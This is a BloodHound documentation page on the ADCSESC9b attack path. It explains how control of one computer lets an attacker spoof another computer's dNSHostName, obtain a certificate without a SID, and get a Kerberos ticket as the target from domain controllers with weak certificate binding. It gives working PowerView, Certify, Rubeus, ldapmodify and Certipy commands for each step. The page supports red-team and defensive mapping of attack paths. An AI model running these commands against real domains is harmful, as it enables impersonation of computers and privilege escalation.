> ## Documentation Index
> Fetch the complete documentation index at: https://bloodhound.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.
# ADCSESC9b
> The principal has control over a victim computer with permission to enroll on one or more certificate templates, configured to: 1) enable certificate authentication, 2) require the `dNSHostName` of the enrollee included in the Subject Alternative Name (SAN), and 3) not have the security extension enabled.
export const continueStep_1 = "4"
export const continueStep_0 = "4"
The victim computer also has enrollment permission for an enterprise CA with the necessary templates published. This enterprise CA is trusted for NT authentication in the forest, and chains up to a root CA for the forest. There is an affected Domain Controller (DC) configured to allow weak certificate binding enforcement. This setup lets the principal impersonate any AD forest computer without their credentials.
The attacker principal can abuse their control over the victim computer to modify the victim computer's `dNSHostName` attribute to match the `dNSHostName` of a targeted computer. The attacker principal will then abuse their control over the victim computer to obtain the credentials of the victim computer, or a session as the victim computer, and enroll a certificate as the victim in one of the affected certificate templates. The `dNSHostName` of the victim will be included in the issued certificate under SAN DNS name. As the certificate template does not have the security extension, the issued certificate will NOT include the SID of the victim computer. DCs with strong certificate binding configuration will require a SID to be present in a certificate used for Kerberos authentication, but the affected DCs with weak certificate binding configuration will not. The affected DCs will split the SAN DNS name into a computer name and a domain name, confirm that the domain name is correct, and use the computer name appended a \$ to identify principals with a matching `sAMAccountName`. At last, the DC issues a Kerberos TGT as the targeted computer to the attacker, which means the attacker now has a session as the targeted computer.
## Abuse Info
### Windows
Step 1: Remove SPNs including `dNSHostName` on victim.
The SPNs of the victim will be automatically updated when you change the `dNSHostName`. AD will not allow the same SPN entry to be set on two accounts. Therefore, you must remove any SPN on the victim account that includes the victim's `dNSHostName`.
Set SPN of the victim computer using PowerView:
```PowerShell theme={null}
Set-DomainObject -Identity VICTIM -Set @{'serviceprincipalname'='HOST/victim'}
```
Step 2: Set `dNSHostName` of victim computer to targeted computer's `dNSHostName`.
Set the `dNSHostName` of the victim computer using PowerView:
```PowerShell theme={null}
Set-DomainObject -Identity VICTIM -Set @{'dnshostname'='target.corp.local'}
```
Step 3: Check if the `mail` attribute of victim must be set and set it if required.
If the certificate template is of schema version 2 or above, and its attribute `msPKI-Certificate-Name-Flag` contains the flag `SUBJECT_REQUIRE_EMAIL` and/or `SUBJECT_ALT_REQUIRE_EMAIL`, then the victim principal must have their `mail` attribute set for the certificate enrollment. The [CertTemplate](/resources/nodes/cert-template) BloodHound node will have "Subject Require Email" or "Subject Alternative Name Require Email" set to true if any of the flags are present.
If the certificate template is of schema version 1 or does not have either email flag, then continue to Step {continueStep_0}.
If either flag is present, you will need the victim's `mail` attribute to be set. The value of the attribute will be included in the issued certificate but it is not used to identify the target principal, so it can be set to any arbitrary string.
Check if the victim has the `mail` attribute set using PowerView:
```PowerShell theme={null}
Get-DomainObject -Identity VICTIM -Properties mail
```
If the victim has the `mail` attribute set, continue to Step 4.
If the victim does not has the `mail` attribute set, set it to a dummy mail using PowerView:
```PowerShell theme={null}
Set-DomainObject -Identity VICTIM -Set @{'mail'='dummy@mail.com'}
```
Step 4: Obtain a session as victim.
There are several options for this step. You can obtain a session as SYSTEM on the host, which allows you to interact with AD as the computer account, by abusing control over the computer AD object (see [GenericAll edge](/resources/edges/generic-all) documentation).
Step 5: Enroll certificate as victim.
Use Certify (2.0) as the victim computer to request enrollment in the affected template, specifying the affected [EnterpriseCA](/resources/nodes/enterprise-ca):
```cmd theme={null}
Certify.exe request --ca SERVER\CA-NAME --template TEMPLATE --machine
```
The certificate PFX is printed to the console in a base64-encoded format.
Step 6 (optional): Set `dNSHostName` and SPN of victim to the previous values.
To avoid issues in the environment, set the `dNSHostName` and SPN of the victim computer back to its previous values using PowerView:
```PowerShell theme={null}
Set-DomainObject -Identity VICTIM -Set @{'dnshostname'='victim.corp.local'}
```
```PowerShell theme={null}
Set-DomainObject -Identity VICTIM -Set @{'serviceprincipalname'='HOST/victim'}
```
Step 7: Perform Kerberos authentication as targeted computer against affected DC using certificate.
Use Rubeus to request a ticket granting ticket (TGT) from an affected DC, specifying the target identity to impersonate and the base64-encoded certificate obtained in Step 5:
```cmd theme={null}
Rubeus.exe asktgt /certificate: /user:TARGET$ /domain:DOMAIN /dc:DOMAIN_CONTROLLER
```
### Linux
Step 1: Remove SPNs including `dNSHostName` on victim.
The SPNs of the victim will be automatically updated when you change the `dNSHostName`. AD will not allow the same SPN entry to be set on two accounts. Therefore, you must remove any SPN on the victim account that includes the victim's `dNSHostName`.
Remove SPN entries with ldapmodify:
```bash theme={null}
echo -e "dn: VICTIM-DN\nchangetype: modify\ndelete: servicePrincipalName\nservicePrincipalName: SPN" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME
```
Step 2: Set `dNSHostName` of victim computer to targeted computer's `dNSHostName`.
Set the `dNSHostName` of the victim computer using Certipy:
```bash theme={null}
certipy account update -username ATTACKER@CORP.LOCAL -password PWD -user VICTIM -dns TARGET.CORP.LOCAL
```
Step 3: Check if the `mail` attribute of victim must be set and set it if required.
If the certificate template is of schema version 2 or above, and its attribute `msPKI-Certificate-Name-Flag` contains the flag `SUBJECT_REQUIRE_EMAIL` and/or `SUBJECT_ALT_REQUIRE_EMAIL`, then the victim principal must have their `mail` attribute set for the certificate enrollment. The [CertTemplate](/resources/nodes/cert-template) BloodHound node will have "Subject Require Email" or "Subject Alternative Name Require Email" set to true if any of the flags are present.
If the certificate template is of schema version 1 or does not have either email flag, then continue to Step {continueStep_1}.
If either flag is present, you will need the victim's `mail` attribute to be set. The value of the attribute will be included in the issued certificate but it is not used to identify the target principal, so it can be set to any arbitrary string.
Check if the victim has the `mail` attribute set using ldapsearch:
```bash theme={null}
ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "VICTIM-DN" mail
```
If the victim has the `mail` attribute set, continue to Step 4.
If the victim does not has the `mail` attribute set, set it to a dummy mail using ldapmodify:
```bash theme={null}
echo -e "dn: VICTIM-DN\nchangetype: modify\nreplace: mail\nmail: test@mail.com" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME
```
Step 4: Obtain a session as victim.
There are several options for this step. You can obtain a session as SYSTEM on the host, which allows you to interact with AD as the computer account, by abusing control over the computer AD object (see [GenericAll edge](/resources/edges/generic-all) documentation).
Step 5: Enroll certificate as victim.
Use Certipy as the victim principal to request enrollment in the affected template, specifying the affected [EnterpriseCA](/resources/nodes/enterprise-ca):
```bash theme={null}
certipy req -u VICTIM@CORP.LOCAL -p PWD -ca CA-NAME -target SERVER -template TEMPLATE
```
Step 6 (optional): Set `dNSHostName` and SPN of victim to the previous values.
To avoid issues in the environment, set the `dNSHostName` and SPN of the victim computer back to its previous value using Certipy and ldapmodify:
```bash theme={null}
certipy account update -username ATTACKER@CORP.LOCAL -password PWD -user VICTIM -dns VICTIM.CORP.LOCAL
```
```bash theme={null}
echo -e "dn: VICTIM-DN\nchangetype: modify\nadd: servicePrincipalName\nservicePrincipalName: SPN" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME
```
Step 7: Perform Kerberos authentication as targeted computer against affected DC using certificate.
Request a ticket granting ticket (TGT) from an affected DC, specifying the certificate created in Step 5 and the IP of an affected DC:
```bash theme={null}
certipy auth -pfx TARGET.pfx -dc-ip IP
```
**Opsec Considerations**
When the affected certificate authority issues the certificate to the attacker, it will retain a local copy of that certificate in its issued certificates store. Defenders may analyze those issued certificates to identify illegitimately issued certificates and identify the principal that requested the certificate, as well as the target identity the attacker is attempting to impersonate.
## Edge Schema
Source: [User](/resources/nodes/user), [Group](/resources/nodes/group), [Computer](/resources/nodes/computer)\
Destination: [Domain](/resources/nodes/domain)\
Traversable: ✅
## References
This edge is related to the following MITRE ATT\&CK tactic and techniques:
* [https://attack.mitre.org/techniques/T1649/](https://attack.mitre.org/techniques/T1649/)
### Abuse and Opsec references
* Certipy 4.0
* [Certipy](https://github.com/ly4k/Certipy)
* [GhostPack Certify](https://github.com/GhostPack/Certify)
* [GhostPack Rubeus](https://github.com/GhostPack/Rubeus)
* [Set-DomainObject](https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainObject/)
* [LDAPSearch](https://linux.die.net/man/1/ldapsearch)
* [LDAPModify](https://linux.die.net/man/1/ldapmodify)
* [Certified Pre-Owned - Abusing Active Directory Certificate Services](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
* [ADCS Attack Paths in BloodHound—Part 3](https://specterops.io/blog/2024/09/11/adcs-attack-paths-in-bloodhound-part-3/)